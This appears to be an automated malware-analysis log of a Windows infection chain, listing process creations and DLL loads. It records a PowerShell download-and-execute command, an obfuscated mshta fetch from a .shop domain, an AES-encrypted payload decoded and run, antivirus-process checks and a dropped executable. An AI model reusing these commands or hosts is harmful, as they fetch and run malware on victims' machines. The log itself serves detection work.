Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') \| ForEach-Object {Invoke-Expression }})
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\OpenSSH\ssh.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta https://static.klipmybekoe.shop/5MV6U.mp4"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://static.klipmybekoe.shop/5MV6U.mp4
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22EDEF36672015D59B8682037DEDBF664F5134470');$vDlAX=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RFpfE('5A4C72435A7854455476796A794D454C')),[byte[]]::new(16)).TransformFinalBlock($CLkAU,0,$CLkAU.Length)); & $vDlAX.Substring(0,3) $vDlAX.Substring(215)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\i1040gi.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1612,i,9767176408936649920,9595500780539240721,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') \| ForEach-Object {Invoke-Expression }})
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES21E2.tmp" "c:\Users\user\AppData\Local\Temp\CSC3175A4D19118469EA1291A30DC82CEF5.TMP"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\msiexec.exe C:\Windows\System32\MsiExec.exe -Embedding 55C79B7FF2917A7A97B3E95A1F5AC5BB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\i1040gi.pdf"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1612,i,9767176408936649920,9595500780539240721,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES21E2.tmp" "c:\Users\user\AppData\Local\Temp\CSC3175A4D19118469EA1291A30DC82CEF5.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe "C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe"
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Anytime Anytime.cmd && Anytime.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 383847
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ReservedFijiSupplementsFailingArrangementsFocusingMartGlucose" Discounts
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Muslim + ..\Threat + ..\Tabs + ..\Rouge + ..\Prove + ..\Er z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\383847\Client.com Client.com z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe "C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe"
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Anytime Anytime.cmd && Anytime.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 383847
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ReservedFijiSupplementsFailingArrangementsFocusingMartGlucose" Discounts
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Muslim + ..\Threat + ..\Tabs + ..\Rouge + ..\Prove + ..\Er z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\383847\Client.com Client.com z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5

Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: slc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: tiledatarepository.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: staterepository.core.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepository.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: libcrypto.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll
